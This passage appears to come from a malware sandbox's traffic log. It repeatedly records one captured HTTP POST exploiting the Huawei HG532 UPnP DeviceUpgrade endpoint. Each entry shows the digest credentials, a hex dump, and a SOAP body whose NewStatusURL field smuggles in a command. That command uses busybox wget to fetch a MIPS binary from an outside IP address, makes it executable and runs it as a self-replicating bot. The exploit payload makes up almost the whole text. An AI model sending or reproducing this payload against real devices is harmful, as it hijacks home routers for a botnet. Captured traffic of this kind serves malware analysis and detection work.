xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 